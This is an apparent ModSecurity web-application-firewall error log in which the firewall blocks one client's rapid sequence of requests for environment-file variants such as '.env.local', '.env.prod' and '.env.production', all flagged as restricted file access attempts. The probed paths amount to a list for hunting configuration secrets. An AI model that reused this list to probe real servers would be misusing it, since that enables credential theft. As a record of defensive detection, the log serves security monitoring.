[Tue Aug 05 11:03:25.113273 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmwAAAAI&quot;]
[Tue Aug 05 11:03:25.135544 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnAAAAAI&quot;]
[Tue Aug 05 11:03:25.135733 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnAAAAAI&quot;]
[Tue Aug 05 11:03:25.135917 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnAAAAAI&quot;]
[Tue Aug 05 11:03:25.158218 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnQAAAAI&quot;]
[Tue Aug 05 11:03:25.158426 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnQAAAAI&quot;]
[Tue Aug 05 11:03:25.158598 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnQAAAAI&quot;]
[Tue Aug 05 11:03:25.180921 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstngAAAAI&quot;]
[Tue Aug 05 11:03:25.181138 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstngAAAAI&quot;]
[Tue Aug 05 11:03:25.181308 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstngAAAAI&quot;]
[Tue Aug 05 11:03:25.203547 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnwAAAAI&quot;]
[Tue Aug 05 11:03:25.203748 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnwAAAAI&quot;]
[Tue Aug 05 11:03:25.203918 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstnwAAAAI&quot;]
[Tue Aug 05 11:03:25.299522 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoAAAAAI&quot;]
[Tue Aug 05 11:03:25.299748 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoAAAAAI&quot;]
[Tue Aug 05 11:03:25.299922 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoAAAAAI&quot;]
[Tue Aug 05 11:03:25.324228 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoQAAAAI&quot;]
[Tue Aug 05 11:03:25.324361 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoQAAAAI&quot;]
[Tue Aug 05 11:03:25.324554 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoQAAAAI&quot;]
[Tue Aug 05 11:03:25.324706 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstoQAAAAI&quot;]
[Tue Aug 05 11:03:25.346916 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstogAAAAI&quot;]
[Tue Aug 05 11:03:25.347094 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstogAAAAI&quot;]
[Tue Aug 05 11:03:25.347250 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstogAAAAI&quot;]
[Tue Aug 05 11:03:25.369482 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstowAAAAI&quot;]
[Tue Aug 05 11:03:25.369646 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstowAAAAI&quot;]
[Tue Aug 05 11:03:25.369794 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstowAAAAI&quot;]
[Tue Aug 05 11:03:25.392579 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpAAAAAI&quot;]
[Tue Aug 05 11:03:25.392738 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpAAAAAI&quot;]
[Tue Aug 05 11:03:25.392881 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpAAAAAI&quot;]
[Tue Aug 05 11:03:25.415516 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpQAAAAI&quot;]
[Tue Aug 05 11:03:25.415704 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpQAAAAI&quot;]
[Tue Aug 05 11:03:25.415866 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstpQAAAAI&quot;]
[Tue Aug 05 11:03:25.438057 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 